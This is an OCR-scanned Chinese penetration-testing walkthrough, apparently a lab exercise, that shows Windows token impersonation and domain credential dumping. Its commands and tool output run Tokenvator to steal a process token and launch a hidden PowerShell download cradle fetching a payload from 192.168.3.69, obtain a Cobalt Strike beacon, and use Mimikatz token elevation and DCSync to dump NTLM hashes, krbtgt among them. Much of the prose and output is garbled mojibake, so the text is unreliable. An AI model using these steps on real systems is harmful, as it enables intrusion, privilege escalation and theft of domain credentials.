AEEM web HsFMIE R B X T, MNRK ST, MEBEAANNE BV L IEX XNV ST, S REEPN—FIE, FARLEST, E—R 552 powershell R ERTF—EZ R 5% L,
AR ZRAKEK, FH incognito.exe HE/FHEM Tokenvator.exe EfFthElE— 1M



ags =10| %
File Edit WView Tools Window Community Help
Do query | O | B B | |5 6 &8 |
 Object Explorer Al | K-’Eﬁi-éci:-fxﬁibrer'f)_e;a_ilg | > x
Connect~: @ & ||| i ;
|lij You are not connected to a server,
x
PGS
Server type: iDatabase Engine :_i
Server name: m :J
Authentication: !"."'.n'indcnws Authentication :j
I. TR T STETE ;I
[T Rememberpaseword
Connect Cancel Help Options >

ox08 jEi¥ Tokenvator.exe KRB LhiEIEINTE E P A9iA ) S L FTEE payload

TrREERLEMNR, XEMN 1892 MR (1IeT NN EBFEHE SR java#FE[ X rootkit\administrator A G4 LAY tomcat fRSS], RN, b4 T 1#e > T A >k{5, F Tokenvator. exe

KARIUEE ZINATIER payload, E4&MT

# Tokenvator.exe Steal Token 1892 "powershell.exe -nop -w hidden -

[z Admiinistrator: C:\Windows\system32\cmd.exe

D:\tools>Tokenvator.exe Steal Token 1892 "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).dc

ng('http://192.168.3.69:81/incognito"))"
(Tokens) > [*] Adjusting Token Privilege
[+] Recieved luid

[¥] AdjustTokenPrivilege

[+] Adjusted Privilege: SeDebugPrivilege
[+] Privilege State: SE_PRIVILEGE_ENABLED
[+] Recieved Handle for: (1892)

[+] Process Handle: 516

[+] Primary Token Handle: 520
[+] Duplicate Token Handle: 516
[#] CreateProcessWithTokenW
+] Created process: 1596
P
[+] Created thread: 4776

D:\tools>

BES, B &I ERAIX R —MEE [rootkit\administrator ]#XfRAY beacon, A /EHEAIE

B Microsoft SQL Server Management Studio

File Edit View Debug Tools Window Community

Help
S vewouery | 0y | £ 8 5 O | 5 W 3 |80
-

i - @l = P
ICDnnEn:t 2; 5 £| , ____________ . |
ERRY. (S0 Server 10.50.1600 | NT ALTHORITY\SYSTEM)
= [ Databases

H | eoyoo

H | ¥ injection

& | § ReportServer

® | ReportServerTempDE

M [ Security

[+ [d Server Objects
# [ Replication

# [d Management

__/6hiect Explorer Details-!

| D O B & £] 3 | Search

. (SQL Server 10,50, 1600 - NT AUTHORITY\SYSTEM)

(L
| Mame i Policy Health State

|1 Databases

L Security

1 Server Objects
_J Replication

| Management

jb SGL Server Agent

&) _;5 S0L Server Agent

g |

DRFWENIZRBFRE T, XERA LRI S

¢ "IEX ((new-object net.webclient).downloadstring('http://192.168.3.69:81/incognito"'))""



Cobalt Strike \iew Attacks Reporting Help

OB O EH=¢ B8ELPU BN /e B

external

internal = user computer note pid last

ol i 2 QE J drmini: 3t ! 3] F - 00 221

P

Event Log X | Listeners X | Beacon 192.168.5.101@4500 X

beacon> sleep 0

[*] Tasked beacon to become interactive
beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 24 bytes

[*1 You are|ROOTKIT\administrator (admin)

0x09 HKF—MAXIMEET Mimikatz KIbEIEERFRGESHE, 8 XFES B RS A AT HE A~ &5 hash 4l

B, AR EERNRNIT Minikatz, A EF LRI ALK, BE, EF LR AGTNMB AP, M/E, IEHFICHIZA system, B &, BEEREESCH, &F, BIBESCHERT HERIAE A A
H2%5 hash

BEELIARTH

BEE LIS THME AR

WEBSERVER-IIS7\Administrator

mimikatz # token::whoami

mimikatz # TOKEN::List

mimikatz # token::whoami

* Process Token : {©;000bc44c} 1 D 36884693
4-500 (14g,23p) Primary

* Thread Token : no token

S$-1-5-21-1282335229-427226177

mimikatz # token::list
Token Id %]

User name

SID name

4856  {@;000bc44c} 1 D 774467
(14g,23p) Primary

4240  {@;000bc44c} 1 D 800592
(14g,23p) Primary

5116 {©;00236780} 2 D 2320337
(18g,23p) Primary

4940  {0;0025747d} © D 2454705
9471291 (11g,07p) Primary
704 {©;000bc44c} 1 D 14292062
(14g,23p) Primary

4940  {@:000003e3} © D 2455548
tion)

mimikatz # _

mimikatz # TOKEN::Elevate

mimikatz # TOKEN::Elevate /domainadmin

WEBSERVER-IIS7\Administrator
WEBSERVER-IIS7\Administrator
WEBSERVER-IIS7\Administrator
IIS APPPOOL\pageweb S-1-5-82
WEBSERVER-IIS7\Administrator

NT AUTHORITY\IUSR $-1-5-17

HEERIR T A system & f#

RINEE S

p-1-5-21-1282335229-4272261775-256433

p-1-5-21-1282335229-4272261775-256433

p-1-5-21-1282335229-4272261775-256433

3232305598-2185470874-1683166112-297

p-1-5-21-1282335229-4272261775-256433

(e9g,04p)

Impersonation




[4.| mimikatz 2.1.1 x64 (oe.eo)

mimikatz # TOKEN: :Elevate
Token Id : ©

User name :

SID name :

NT AUTHORITY\SYSTEM

mimikatz # TOKEN: :Elevate /domainadmin
Token Id : ©
User name :

SID name ERROR kuhl_m token_list or_elevate ; kull_m token_getNameDomainFromSID (©x©0000534)

5116 {©;00236780} 2 D 2320337 WEBSERVER-IIS7\Administrator $-1-5-21-1282335229-4272261775-256433
(18g,23p) Primary

-> Impersonated !

* Process Token : {©;000bc44c} 1 D 36884693 ROOTKIT\administrator | S-1-5-21-1282335229-4272261775-256433
(14g,23p) Primary

* Thread Token : {©;00236780} 2 D 37211110 ROOTKIT\administrator $-1-5-21-1282335229-4272261775-256433
(18g,23p) Impersonation (Delegation)

mimikatz #

mimikatz # lsadump::dcsync /domain:rootkit.org /all /csv SHigiEfppHE B/ ER hash

mimikatz # token::revert R RS REZ B IRTS



[+, mimikatz 2.1.1 x64 (oe.eo)

mimikatz # lsadump::dcsync /domain:rootkit.org /all /csv
[DC] "rootkit.org' will be the domain

[DC] '2008R2-DCServer.rootkit.org’' will be the DC server
[DC] Exporting domain 'rootkit.org’

502 krbtgt 9fedb7cb908b5704224715dab8f38c91

1136 WEBSERVER$ 02b03225feb6c2f046Tc11319ef18d3b
1117 MAILSERVER$ 7cd3c2de3365a156e461213857c05200
1164 securiter 55aeld383e822c731f501b594ae5b5031
1125 dbuser 2d456bc49b158d89cc6ec49db47bab95

1103 redhat a76f1448cacdc40ec79a93c584137ffd

1106 phper a76fl448cacdc4@ec79a93c584137ffd

1167 mary a76f1448cacdc40ec79a93c584137ffd

e person a76fl448cacdc4@ec79a93c584137ffd

1111 girls a76fl448cacdc4@ec79a93c584137ffd

1116 networker a76f1448cacdc40ec79a93c584137ffd
1122 lowser a76fl448cacdc40ec79a93c584137ffd

1123 admin a76f1448cacdc4@ec79a93c584137Ffd

1126 fedora a76f1448cacdc4@ec79a93c584137Ffd

1131 kali a76f1448cacdc40ec79a93c584137Ffd

1132 backbox a76f1448cacdc4@ec79a93c584137Ffd

1133 parrot a76fl448cacdc4@ec79a93c584137ffd

1120 PC-JACK$ 7bba5@edad431beb26eba7908b56c760b
1108 Jjack a7e6fl448cacdc40ec79a93c584137ffd

1118 FILESERVER$ 45dd13aaa700e248c38533811018d664
1114 micle a76f1l448cacdc4@ec79a93c584137Ffd

1119 BOSS-PC$ 7c65eabl03a211ab6360b2b4cb8fasb7
1138 devadmin a76f1448cacdc40ec79a93¢c584137ffd

mimikatz # token::whoami

* Process Token : {©;000bc44c} 1 D 36884693 ROOTKIT\administrator | S5-1-5-21-1282335229-4272261775-256433
(14g,23p) Primary

* Thread Token : {©;00236780} 2 D 37211110 ROOTKIT\administrator | S5-1-5-21-1282335229-4272261775-256433
(18g,23p) Impersonation (Delegation)

mimikatz #

* Process Token : {©;000bc44c} 1 D 36884693 WEBSERVER-IIS7\Administrator S-1-5-21-1282335229-427226177
4-500 (14g,23p) Primary
* Thread Token : no token

mimikatz # token::whoami
* Process Token : {©;000bc44c} 1 D 36884693 WEBSERVER-IIS7\Administrator S-1-5-21-1282335229-427226177

4-500 (14g,23p) Primary
* Thread Token : no token

mimikatz # _

RE, ABE TRBHREECHZRIEY hash (ILERR, REA, BETH PR AN, £ BirEE EIMEREE, FTA BRIk



imikatz # lsadump::dcsync /domain:rootkit.org /all /csv
[DC] 'rootkit.org' will be the domain
[DC] '2008R2-DCServer.rootkit.org’' will be the DC server

[DC] Exporting domain 'rootkit.org’
ERROR kull m rpc_drsr_getDCBind ; RPC Exception ©x00000005 (5)

imikatz #

— RINGE

AR REZEEPRRNE, EHTERUNS T FEOEENT A28, AR R/E5 &, &5k BT ENNEIESRIIRIZE] system T, TEHERE, 7%, LENFETERIHELLRE T, ATl
KEHEEEPNEFRRBBETEBTHR, RIBL, EOTELNRZE, HXEFEFTEENS, EXRTRELEERIAXL, b, FEIHE], B system £ mssql B FAixRITT LM EHIBE R, HXE,
R UX AFEHEHRERT, EFAEEAHENT ARG E A windows KX RGA A SMHRIETREERE ?[ttiA,vnc. .. ], EAZH T DUATTERUNF AR ? XEOIHIESFSAKTUZEES
LA TT , BRE R LA BE /NG, BRBRE, TR L XA%, BCEREIaE, TRREMN, AREN, TR, T2BUR T AE AR, 5% wireshark — 1, ERELAF BB LY,
MAZLEAFERBROLEAKRS, REGREEXFEXITNEL TENGARL, H 8 5, MM REREE, BARE 7 wireshark ZERFHEFENKRME, BENEIERAZIHE T, ABRRILFLRK
B, —EBZEES LN EEFFEEREMT A, RET BEAM, MBI ARE, ETNEEEIENEZXIBHNAE FEREHENR, FRBRE, 2 H0Z2EHEE, &5, EENARIZE ~_»

{E# : klion



